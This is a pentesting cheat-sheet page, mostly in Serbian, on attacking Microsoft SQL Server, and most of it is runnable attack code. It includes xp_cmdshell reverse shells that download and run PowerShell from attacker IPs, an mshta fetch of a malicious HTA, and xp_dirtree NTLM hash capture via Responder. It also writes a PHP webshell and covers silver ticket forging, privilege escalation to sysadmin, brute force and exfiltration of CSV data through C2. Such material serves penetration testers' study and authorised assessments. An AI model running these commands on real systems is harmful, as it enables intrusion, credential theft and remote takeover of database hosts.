1433 - Pentesting MSSQL - Microsoft SQL Server

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

Osnovne informacije

Iz wikipedia:

Microsoft SQL Server je sistem za upravljanje relational database razvijen od strane Microsofta. Kao database server, to je softverski proizvod sa primarnom funkcijom čuvanja i preuzimanja podataka na zahtev drugih softverskih aplikacija — koje mogu da rade ili na istom računaru ili na drugom računaru preko mreže (uključujući Internet).

Default port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Landing on a Managed Database-as-a-Service (DBaaS)

Sve što zavisi od “owning the host” (npr. privilege escalation, lateral movement, i OS command execution) prestaje da postoji u DBaaS. Pentesting u ovim okruženjima mora da pređe na exploitation na application layer-u, data exfiltration preko SQL logike, loše konfigurisane IAM roles, ili loš network/VPC dizajn. Na primer, Amazon RDS dokumentacija eksplicitno navodi da xp_cmdshell i TRUSTWORTHY svojstvo baze podataka nisu podržani.

Warning

Dobijate database endpoint, ne server. Cloud provider upravlja host OS-om, binarnim fajlovima database engine-a, i mnogim security policy-jima.

Default MS-SQL System Tables

  • master Database: Ova baza je ključna jer sadrži sve sistemske detalje za SQL Server instancu.
  • msdb Database: SQL Server Agent koristi ovu bazu za upravljanje rasporedom za alerts i jobs.
  • model Database: Služi kao blueprint za svaku novu bazu na SQL Server instanci, pri čemu se svaka izmena kao što su size, collation, recovery model i više preslikava u novo kreirane baze.
  • Resource Database: Read-only baza koja sadrži system objects koji dolaze uz SQL Server. Ovi objekti, iako su fizički smešteni u Resource bazi, logički su predstavljeni u sys schema-i svake baze.
  • tempdb Database: Služi kao privremena storage area za transient objects ili intermediate result sets.

Enumeration

Automatic Enumeration

Ako ne znate ništa o servisu:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

Ako nemate credentials možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete blokirati naloge ako više puta pogrešite pri prijavi koristeći postojeće username.

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

Numerisanje korisnika putem RID Brute Force

Možete numerisati domen korisnike kroz MSSQL brute-forcing RID-ova (Relative Identifiers). Ova tehnika je korisna kada imate validne kredencijale, ali ograničene privilegije:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

Pentesting MSSQL - Microsoft SQL Server

Microsoft SQL Server je relacioni sistem za upravljanje bazama podataka koji podržava i Transact-SQL, i standard SQL. MSSQL je Microsoftova implementacija SQL servera. On tipično služi za backend web aplikacija i poslovnih sistema.

U ovom delu ćemo pogledati kako se pentestuje Microsoft SQL Server, sa fokusom na autentikaciju, prikupljanje informacija, pogrešne konfiguracije i uobičajene tehnike posteksploatacije.

[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

Parameters:

  • --local-auth: Koristi lokalnu autentifikaciju umesto domena
  • --rid-brute <max_rid>: Brute force RIDs do navedenog broja (default: 4000)
  • -u: Korisničko ime
  • -p: Lozinka

Ova tehnika će enumerisati korisnike tako što će slati upite MSSQL serveru za informacije o nalozima povezanim sa sekvencijalnim RID-ovima.

Manual Enumeration

Login

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Uobičajena enumeracija

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

Dobij User

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Get Permissions

  1. Securable: Definisano kao resursi kojima SQL Server upravlja za kontrolu pristupa. Oni su kategorisani u:
  • Server – Primeri uključuju databases, logins, endpoints, availability groups, i server roles.
  • Database – Primeri obuhvataju database role, application roles, schema, certificates, full text catalogs, i users.
  • Schema – Uključuje tables, views, procedures, functions, synonyms, itd.
  1. Permission: Povezano sa SQL Server securables, permissions kao što su ALTER, CONTROL, i CREATE mogu biti dodeljene principal-u. Upravljanje permissions se odvija na dva nivoa:
  • Server Level koristeći logins
  • Database Level koristeći users
  1. Principal: Ovaj termin se odnosi na entitet kome je dodeljena permission na securable. Principals uglavnom uključuju logins i database users. Kontrola pristupa securables se sprovodi kroz dodeljivanje ili uskraćivanje permissions ili uključivanjem logins i users u roles opremljene access rights.
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Trikovi

Izvršavanje OS naredbi

Caution

Imajte na umu da, da biste mogli da izvršavate naredbe, nije dovoljno samo da xp_cmdshell bude omogućen, već je potrebno i da imate EXECUTE permission na xp_cmdshell stored procedure. Možete saznati ko (osim sysadmins) može da koristi xp_cmdshell pomoću:

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

WMI-based remote SQL collection (sqlcmd + CSV export)

Operatori mogu da pivotuju sa IIS/app tier na SQL Servers koristeći WMI za izvršavanje male batch skripte koja se autentifikuje na MSSQL i pokreće ad-hoc upite, izvozeći rezultate u CSV. Ovo održava kolekciju jednostavnom i uklapa se u administratorsku aktivnost.

Example mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

Pozovite ga remotely pomoću WMI

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

PowerShell alternativa

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Napomene

  • sqlcmd može nedostajati; pređi na osql, PowerShell Invoke-Sqlcmd, ili one‑liner koristeći System.Data.SqlClient.
  • Pažljivo koristi quoting; duge/kompleksne upite je lakše proslediti preko fajla ili Base64-encoded argumenta dekodiranog unutar batch/PowerShell stuba.
  • Exfil CSV preko SMB (npr. kopiraj sa \SQLHOST\C$\Windows\Temp) ili ga kompresuj i prebaci kroz svoj C2.

Get hashed passwords

SELECT * FROM master.sys.syslogins;

Ukradi NetNTLM hash / Relay attack

Trebalo bi da pokreneš SMB server da uhvati hash koji se koristi u autentifikaciji (impacket-smbserver ili responder, na primer).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

Možete proveriti ko (osim sysadmins) ima dozvole da pokreće te MSSQL funkcije pomoću:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Korišćenjem alata kao što su responder ili Inveigh moguće je ukrasti NetNTLM hash.
Možete videti kako da koristite ove alate u:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

From NetNTLMv2 capture to MSSQL silver ticket (PAC group injection)

  • Uhvatite NetNTLMv2 nalog SQL Server service account-a preko xp_dirtree '\\\\<attacker_ip>\\share' pomoću Responder-a (Hashcat mode 5600 za cracking).
  • Izvedite service NTLM hash iz oporavljene lozinke:
python3 - <<'PY'
import hashlib
print(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).hexdigest())
PY
  • Dobijte bajtove domain SID-a pomoću SELECT SUSER_SID('DOMAIN\\Domain Users'); (RID = poslednja 4 bajta, little endian). Mapirajte/bruteforce-ujte RID-ove sa nxc mssql ... --rid-brute da biste pronašli grupu koja daje sysadmin (npr. RID 1105).
  • Iskovajte silver ticket za MSSQL SPN sa privilegovanim group RID-om ubacenim u PAC:
ticketer.py -nthash <SERVICE_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn MSSQLSvc/<fqdn>:1433 -groups <GROUP_RID> <user_to_impersonate>
KRB5CCNAME=<user_to_impersonate>.ccache mssqlclient.py -no-pass -k <fqdn>
  • Omogućite xp_cmdshell ako je potrebno; komande se izvršavaju kao nalog servisa SQL Server-a čak i kada se impersonira preko forged ticket-a.

Pročitajte ovaj post da biste pronašli više informacija o tome kako da abuse-ujete ovu funkciju:

MSSQL AD Abuse

Linked-server credential mapping -> remote sysadmin -> OS RCE

Linked servers mogu biti konfigurisani sa non-self login mapping (Local Login -> Remote Login). U tom slučaju, low-privileged login na prvom SQL Server-u može izvršavati upite na drugom kao mapirani remote principal. Ovo radi na isti način čak i kada je linked instance u drugom domain-u ili forest-u.

Prvo enumerišite linkove i njihova mapiranja:

EXEC sp_linkedservers;
EXEC sp_helplinkedsrvlogin '<LINK_NAME>';

Zatim proveri koji nalog postaješ na udaljenoj strani i da li je to sysadmin:

EXEC ('SELECT SYSTEM_USER') AT [<LINK_NAME>];
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [<LINK_NAME>];

Ako je mapirani remote login sysadmin, linked server postaje remote code execution primitive zato što možete da rekonfigurišete udaljenu instancu i pokrećete OS komande kao SQL Server service account:

EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK_NAME>];

Koristeći impacket-mssqlclient, isti workflow je obično brži:

mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<SQLHOST>
# Inside the SQL shell:
enum_links
use_link [<LINK_NAME>]
enable_xp_cmdshell
xp_cmdshell whoami

Da biste nadogradili izvršavanje jedne komande u interaktivni shell, pokrenite reverse shell kroz xp_cmdshell:

xp_cmdshell powershell -e <BASE64_BLOB>
rlwrap -cAr nc -lnvp 443

Tip

Ako je xp_cmdshell onemogućen, početna greška često potvrđuje da je sp_configure / RECONFIGURE nameravana putanja za omogućavanje. Takođe traži exported policy fajlove kao što su Policy_Backup.inf (secedit /export output), jer oni mogu otkriti lokalne dodele prava (SeImpersonatePrivilege, SeDebugPrivilege, Kerberos skew, SMB signing, NTLM hardening) koje pomažu da izabereš sledeći korak privilege-escalation nakon što dođeš do SQL hosta.

Write Files

Da bismo upisivali fajlove koristeći MSSQL, moramo enable Ole Automation Procedures, što zahteva admin privileges, a zatim izvršiti neke stored procedures da bismo kreirali fajl:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Čitanje fajla sa OPENROWSET

Podrazumevano, MSSQL dozvoljava čitanje bilo kog fajla u operativnom sistemu za koji nalog ima pravo čitanja. Možemo koristiti sledeći SQL upit:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Međutim, opcija BULK zahteva dozvolu ADMINISTER BULK OPERATIONS ili ADMINISTER DATABASE BULK OPERATIONS.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Error-based vektor za SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Čitanje fajlova izvršavanjem skripti (Python i R)

MSSQL bi mogao da vam omogući da izvršavate skripte u Python-u i/ili R-u. Ovaj kod će biti izvršen od strane drugog korisnika od onog koji koristi xp_cmdshell za izvršavanje komandi.

Primer pokušaja izvršavanja ‘R’ “Hellow World!” ne radi:

Primer korišćenja konfigurisanog Python-a za izvođenje nekoliko akcija:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Read Registry

Microsoft SQL Server pruža više extended stored procedures koje vam omogućavaju da komunicirate ne samo sa mrežom već i sa file system-om i čak sa Windows Registry:

RegularInstance-Aware
sys.xp_regreadsys.xp_instance_regread
sys.xp_regenumvaluessys.xp_instance_regenumvalues
sys.xp_regenumkeyssys.xp_instance_regenumkeys
sys.xp_regwritesys.xp_instance_regwrite
sys.xp_regdeletevaluesys.xp_instance_regdeletevalue
sys.xp_regdeletekeysys.xp_instance_regdeletekey
sys.xp_regaddmultistringsys.xp_instance_regaddmultistring
sys.xp_regremovemultistringsys.xp_instance_regremovemultistring
 
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

For more examples check out the original source.

RCE with MSSQL User Defined Function - SQLHttp

Moguće je učitati .NET dll unutar MSSQL sa custom funkcijama. Ovo, međutim, zahteva dbo pristup, tako da vam treba konekcija sa bazom kao sa ili Administrator role.

Prateći ovaj link da biste videli primer.

RCE with autoadmin_task_agents

Prema ovom postu, takođe je moguće učitati remote dll i naterati MSSQL da ga izvrši nečim poput:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Sa:

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Other ways for RCE

Postoje i drugi metodi za dobijanje izvršavanja komandi, kao što su dodavanje extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, i external scripts.

MSSQL Privilege Escalation

From db_owner to sysadmin

Ako je regular user dodeljena rola db_owner nad bazom podataka koju poseduje admin korisnik (kao što je sa) i ta baza je podešena kao trustworthy, taj korisnik može da zloupotrebi ove privilegije za privesc zato što stored procedures kreirane tamo mogu da se execute kao vlasnik (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Možete da koristite metasploit modul:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Ili PS skripta:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Impersonation drugih korisnika

SQL Server ima posebnu dozvolu, pod nazivom IMPERSONATE, koja omogućava korisniku koji izvršava da preuzme dozvole drugog korisnika ili login-a sve dok se kontekst ne resetuje ili sesija ne završi.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

Ako možeš da impersonate-uješ korisnika, čak i ako nije sysadmin, treba da proveriš if the user has access do drugih databases ili linked servers.

Imaj na umu da, kada jednom postaneš sysadmin, možeš da impersonate-uješ bilo kog drugog:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Možete da izvedete ovaj napad pomoću metasploit modula:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

ili sa PS skriptom:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Korišćenje MSSQL za Persistence

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Extracting passwords from SQL Server Linked Servers

Napadač može da izdvoji lozinke za SQL Server Linked Servers iz SQL Instances i dobije ih u clear text, čime dobija lozinke koje mogu da se koriste za sticanje većeg uporišta na meti. Skripta za izdvajanje i dekriptovanje lozinki sačuvanih za Linked Servers može se pronaći ovde

Potrebno je ispuniti neke uslove i izvršiti određene konfiguracije da bi ovaj exploit radio. Pre svega, morate imati Administrator prava na mašini, ili mogućnost da upravljate SQL Server Configurations.

Nakon provere vaših dozvola, potrebno je da konfigurišete tri stvari, i to sledeće:

  1. Omogućite TCP/IP na SQL Server instances;
  2. Dodajte Start Up parameter, u ovom slučaju biće dodat trace flag, koji je -T7806.
  3. Omogućite remote admin connection.

Za automatizaciju ovih konfiguracija, this repository ima potrebne skripte. Pored powershell skripte za svaki korak konfiguracije, repozitorijum takođe ima i kompletnu skriptu koja kombinuje konfiguracione skripte i izdvajanje i dekriptovanje lozinki.

Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim attack: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

Korisnik koji pokreće MSSQL server će imati omogućen privilege token SeImpersonatePrivilege.
Verovatno ćete moći da escalate to Administrator prateći jednu od ove 2 stranice:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

  • port:1433 !HTTP

References

HackTricks Automatic Commands

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
